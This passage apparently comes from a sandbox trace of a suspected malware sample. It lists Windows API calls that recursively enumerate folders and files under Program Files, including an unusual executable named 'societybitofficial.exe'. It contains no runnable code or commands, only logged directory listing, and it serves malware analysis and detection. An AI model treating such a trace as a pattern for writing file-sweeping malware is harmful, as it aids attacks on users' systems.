ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1 [0058.156] GetLastError () returned 0x12 [0058.156] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Icons\\*" (normalized: "c:\\program files\\windows media player\\icons\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0058.156] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.156] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0058.156] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0058.156] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0058.156] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1 [0058.156] GetLastError () returned 0x12 [0058.156] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\*" (normalized: "c:\\program files\\windows media player\\media renderer\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0058.160] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.160] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8adeec5d, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x4d82, dwReserved0=0x0, dwReserved1=0x0, cFileName="avtransport.xml", cAlternateFileName="")) returned 1 [0058.161] GetLastError () returned 0x12 [0058.161] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0058.162] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0058.162] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ba168ab, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6ba168ab, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x3401fe00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x47a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1 [0058.162] GetLastError () returned 0x12 [0058.162] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\*" (normalized: "c:\\program files\\windows media player\\network sharing\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8044b2b8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8044b2b8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0058.347] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8044b2b8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8044b2b8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.347] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf365935, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf365935, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2c7e17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x152e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConnectionManager.xml", cAlternateFileName="")) returned 1 [0058.355] GetLastError () returned 0x12 [0058.379] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0058.380] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0058.380] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa925159f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa925159f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9277700, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1 [0058.380] GetLastError () returned 0x12 [0058.380] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Skins\\*" (normalized: "c:\\program files\\windows media player\\skins\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9874cd8b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9874cd8b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0058.381] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9874cd8b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9874cd8b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.381] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9277700, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9277700, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9277700, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10689, dwReserved0=0x0, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 1 [0058.381] GetLastError () returned 0x12 [0058.381] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0058.381] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0058.381] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1 [0058.381] GetLastError () returned 0x12 [0058.381] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Visualizations\\*" (normalized: "c:\\program files\\windows media player\\visualizations\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0058.381] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.381] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0058.381] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0058.381] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0058.382] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ee55f9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8ee55f9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8ee55f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x40400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0058.382] GetLastError () returned 0x12 [0058.382] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0058.382] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0058.383] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc6705d50, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6705d50, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0058.383] GetLastError () returned 0x12 [0058.384] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\*" (normalized: "c:\\program files\\windows nt\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc6705d50, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6705d50, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0058.384] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc6705d50, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6705d50, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.384] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0058.384] GetLastError () returned 0x12 [0058.385] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\Accessories\\*" (normalized: "c:\\program files\\windows nt\\accessories\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0058.385] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.385] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0058.385] GetLastError () returned 0x12 [0058.386] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\Accessories\\en-US\\*" (normalized: "c:\\program files\\windows nt\\accessories\\en-us\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0058.386] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.386] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 1 [0058.386] GetLastError () returned 0x12 [0058.386] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0058.386] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0058.386] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e3a861e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e3a861e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e7acb45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x45f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0058.386] GetLastError () returned 0x12 [0058.386] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0058.386] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0058.386] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6802010, ftCreationTime.dwHighDateTime=0x1d857ef, ftLastAccessTime.dwLowDateTime=0x8dea9e20, ftLastAccessTime.dwHighDateTime=0x1d86287, ftLastWriteTime.dwLowDateTime=0x8dea9e20, ftLastWriteTime.dwHighDateTime=0x1d86287, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="societybitofficial.exe", cAlternateFileName="SOCIET~1.EXE")) returned 1 [0058.386] GetLastError () returned 0x12 [0058.387] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\*" (normalized: "c:\\program files\\windows nt\\tabletextservice\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0058.387] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.387] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0058.387] GetLastError () returned 0x12 [0058.387] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\en-US\\*" (normalized: "c:\\program files\\windows nt\\tabletextservice\\en-us\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0058.387] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.387] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa260c65, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa260c65, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 1 [0058.387] GetLastError () returned 0x12 [0058.387] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0058.387] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0058.387] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46672035, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x46672035, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x449faf50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0058.388] GetLastError () returned 0x12 [0058.388] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0058.388] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0058.388] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0 [0058.388] FindClose (in: hFindFile=0x4d8660 | out: 